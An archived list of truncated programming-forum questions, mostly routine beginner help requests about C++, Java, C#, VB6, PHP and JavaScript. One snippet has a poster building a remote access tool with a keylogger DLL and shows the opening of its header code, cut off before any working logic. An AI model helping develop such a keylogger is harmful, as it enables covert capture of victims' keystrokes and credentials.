199,114 Archived Topics
Remove Filter ![]() | |
Ok, well I am new to c++ and have been trying to get the basics down. I have a class assingment which require me to read numbers from a file and store them into a vector as long int. An example of the file would be : 19531029L 20081104L 19770615L … | |
Hi everyone, basically i'm writing a simple program in c++ to trigger a beep from the internal speaker much like a musical keyboard except i'm having trouble with capturing key press how would i be able to trap a key press then initiate a beep, i have tried using kbhit() … | |
i want to create a hash table ( independent rehashing ), using STL LIST... in Independent rehashing we use a function to we need to generate the index then check if there is any collisions if there is we need to rehash it and then put it in to the … | |
Hi. I don't know whether this is the right place asking this question or no. I want to know, is it possible to use PHP code into JAVA code? if yes how? | |
Problem1: When I tried outputting a printf "error message" at dividing by zero, it screwed up my code and no output was shown at all. Problem2: When I perform an operation, I get 8 results instead of 5. Please help ASAP. Thanks. [code=c] #include <stdio.h> //Defining a few "functions" which … | |
Hello, I'm in the middle of writing a doubly linked list, I have the print in reverse working fine and my insert function working fine, I just can't seem to find what I'm doing wrong with the delete function.. WHen i try to delete the last letter in the node.. … | |
Hello, I'm building a structure for a fee schedule for a construction business. let's say that the client is paying for roof. THen, the way they charge is: they charge $7.00 for the first 1000 feet and 5.00 for the rest. With this in mind, I created 4 columns: Base … | |
Hi, Here is my use case - I have a Java app from which I'm calling an XSLT to transform XML into HTML - The XSLT is a file in JAR - The XML is passed as a stream from another application Now, the problem is: - I need to … | |
Hi, I have a little project to do in C#, building an audio player. I tought the best way is to use Microsoft.DirectX.AudioVideoPlayback. I tried to code so that when I push the play button again, the audio file restarts playing(otherwise it plays over the current song). so tha't my … | |
Hi there, I'm trying to use a dynamic drop down box to populate some input fields.. So far I can make the drop down box populate correctly. I can also link the input fields to an id in my table, however I'm not sure how to link that id with … | |
I am new to the templates.. I was trying to implement templates in my x programs.... and i am stuck ... help me... problem is with the "search" function when i was not using templates search function was [B] Stack::Nodeptr Stack::search(char item)[/B] and worked perfectly fine.. when using templates... i … | |
Hello- I do not have much experience with python, although I am trying to write a script to do the following: I have more than one CSV file, in this example I have three, each file has many rows, and two columns, they are in this format: Column 1 is … | |
This program is to print name without using the header files [ICODE] void main() { int i; char far *s=(char far *)0xb8000000l ; *(s+2)='p'; *(s+4)='r'; *(s+6)='i' ; *(s+8)='i' ; *(s+10)='t'; } [/ICODE] please explain the meaning of the line [ICODE] char far *s=(char far *)0xb8000000l ; [/ICODE] | |
Hello all! I have a problem with my code. My server uses php4 and instead of upgrading and dealing with the crappy company I'm using, I decided to learn the basics of php4 and use it for now. My problem is when I try to transfer information from one page … ![]() | |
Is there a way for example, to use WGET, inside of a C program? I want to download the text of a website's index.html (ie [url]www.google.com/index.html[/url]) and then send it over to another program via sockets. Is this possible? | |
Please, how does 'Python, wxPython, wxWidgets, C++' all fit together? WxWidgets being written in C++ and all. What is actually being handed to Python when we use these things. Thanks a bunch! | |
I wonder for if I have a made a formapplication in VC++ 2008 Express Edtion that consists of 10 forms and I am for the moment writing code in Form10 and then want to compile and test the function. What I wonder is if I only can compile Form10 and … | |
Hi All I am using[B] MS ACCESS 2003 and VB version 6.0.[/B]I made a Blank database in ACCESS with a table having fields [B]Username & Password.[/B] My VB application consists of [B]2 textboxes and a command button[/B]. I established the connection using [B]"Microsoft.Jet.OLEDB.4.0[/B]"(coz i tried first 3.51 but it wasnt … | |
[code] class Date { public : Date(); void getDate(int,string,int); private : int day; string mth; int year; };//end class //getdate void Date::getDate(int& inDay,string& inMth,int& inYear) const //error here { inDay=day; inMth = mth; inYear=year; } [/code] I'm doing up a date class. Am doing a class function getDate to return … | |
Hello Everyone, I've a problem with java & SQLServer 2005 interface, i installed a SQLServer 2005 and SP2 software bundle to enable SQLServer to run on Windows Vista, i'm using the "Windows Authentication" in SQLServer 2005 which don't need the username or password, and i've the classpath to jar archive … | |
Hi guys, right now I am an amateur in the world of programming and am starting to "train" myself by thinking of ideas for a program and figuring out how to write it. So right now, my first real undertaking I have devised is to write an itemizer where the … | |
i want move date whenever one perticular field gets some value... eg. if i have field name event and date .event is a select box . when approved is moved to event box todays date should move to date field. pls send me a javascript related to this | |
Hello I have a similar problem like this one [url]http://bytes.com/forum/thread253914.html[/url] the only difference is that I cant access the control DataAdapter. I have like 4 DataAdapters on my Form and I need to access them through a loop to change some of their properties. How can i acomplish that? Thank … | |
Note: I'm using a JList as an audio playlist. I was wondering if there was a way to automatically update a custom ListCellRenderer. Basically I ask is because within my ListCellRenderer I have an isPlaying item that will change the color of the object in my playlist that is playing, … | |
HI Guys Iam developing a windows service,In that service I send a email,so i using lotus notes to send email,according to artical in internet,I used Lotus domino object.After I created setup its works properly,But when I need to start new project that also about sending email from lotus,then Once I … | |
Hi all, i have to make an application that can take the user's input and finds out if the year is a leap year. The input has to be divisible by 4 and 400 but not by 100. This would then produce an answer if the user's input is true … | |
Hello friends, I have a problem in my stock trading terminal . Its not working properly as what it should be . i think i got a problem with applet .. At the status bar,it says "Applet RTApplet started" .. how to solve this ?? can anybody help me please?? | |
Hi guys.. I'm facing a problem in my project. Basically its a small project for a retail store inbound section. The goods come in cartons and the user enters the carton ID in the UI to accept the carton. In the backend the carton details get updated in the table … | |
Hi. I need to have two frames (not necessarily visible together and possibly more than two), and I need to be able to interact between them. For example - if I have two frames, one visible and one not visible. Clicking a button on frame1 will make frame1 invisible and … | |
Friends, First off, I'd like to thank each one of you for setting up such a fantastic supporting network to help each other. Here's what I want to do and I think this is feasible but haven't done it myself as my focus can been more architecting web and DW … | |
I have to create a resultset that gives results in the next way: REGION 1 COUNTRY from Region 1 Country from region 1 REGION 2 Country region 2 Country region 2 Do you have any idea about how i can do it? thanks | |
i have a different version of assemply with same name? how can i identify each assemply? | |
what is mean by applications exception and system exception in c# .net ? example for each | |
Hi everyone, Many thanks for looking. Here's the problem. I have a form with three option buttons. Depending on what one the user clicks on I need a particular div to be shown, while the other two divs are to be removed. The only problem is that the removeChild doesn't … | |
Hello Friends, How can i made an DLL which is used in vb 6.0 as a reference. i have made an DLL which give the exact result in delphi console application but not add as a reference in vb 6.0 Thanks, | |
hi i'm new to c++ and i really would appreaciate it if someone could help me plz! i have to create aprogram to identify palindromes using character arrays and pointers. it shd continue requesting the user for phrases until quit is entered. i have t o use the following: -type … | |
Greetings to anyone who reads this post. Actually I needed a help. I need to write a program for the Internet Browser application but don't know where to begin at. Could anyone please help me providing the information on topics that I will have to know about. I intend to … | |
Hi all, Iam developing one windows application in that i have to open one text file and read it from http link on website like: "http:\\website\dir\sample.txt" iam using c# as language.How to do this. | |
On the click event of the picturebox, I've tried the following: picturebox1.image = imagelist1.index????? I don't know the syntax, how do I choose a picture from an imagelist and place it into a picturebox. Thanks :) | |
hello, im new here.. im a student and have a serious problem with my thesis... could anyone help me or direct me on how "to create an e-learning site in php" with a log-in page with a grading system.. any advise would really be helpful... thanks | |
I am writing a RAT in which i have also included a keylogger as a DLL file. here is my code in the keylogger.dll : [CODE] //function.h -- the file which will be referenced by my RAT project file.///////////////////////// extern "C" __declspec(dllexport) void setHook(); //keylogger.h////////////////////////////////////////////////////////////////////////////////////////// #if !defined(AFX_KEYLOGGER_H__5979CE3A_20A6_4172_BBF1_9F7C091CC182__INCLUDED_) #define AFX_KEYLOGGER_H__5979CE3A_20A6_4172_BBF1_9F7C091CC182__INCLUDED_ #if … | |
hi when the user enter the data i tried it storing in the db and its working. the datas are getting stored as <p>This is some <strong>sample text</strong>. You are using</p> when i display i want to display in html format | |
I'm on Dev-C++ 4.9.9.2 default options, WinXP SP3, P4 w/ HT. When I c-shift a value, and then back I get back distorted values. Using the standard _rotr() and _rotl. [code] /*somewhere in main()*/ str = "I'm a fairy! abc xyz ABC XYZ"; printf("\n%s\n", str.c_str()); for(i = 0; i < … | |
Hi I've two files for JDBC connectivity. 1)DBUtil.java - to establish DB connection using JDBC and close DB objects 2) GetEmpl.java - Uses DBUtil to connect to DB and retreives data. [code language=java] public class DBUtil { private static String dataSourceName = getJNDI(); private Connection conn = null; private PreparedStatement … | |
Hey, I created a datalist with a nested repeater. In the nested repeater, I need to limit the amount of records shown (only 10 allowed). However, just limiting the second query into the dataset doesn't work, only grabs 10 records. So I need to figure out a way of only … | |
When i compile my code i keep getting an error. *** glibc detected *** ./main: free(): invalid pointer: 0xbfb82c34 *** . I can not figure out for the life of me what the issue is. I think it may have something to do with my constructor. Any suggestions would be … | |
Threads are scheduled to run based on their scheduling priority. Each thread is assigned a scheduling priority. The priority levels range from zero (lowest priority) to 31 (highest priority). ***Only the zero-page thread can have a priority of zero. (The zero-page thread is a system thread responsible for zeroing any … | |
can somebody help me with this?? i need to insert some text into a textbox, but it needs to go where i want it just not the very end every time. here is what i got so far Code: textbox1.text = textbox1.text & combobox1.text | |
I've seen a lot of different possible ways to do so, but I was wondering what people thought the most efficient way was. | |
Does anyone know how I can import a List into a text file? Is there any difference if I try the same process in Groovy? |
The End.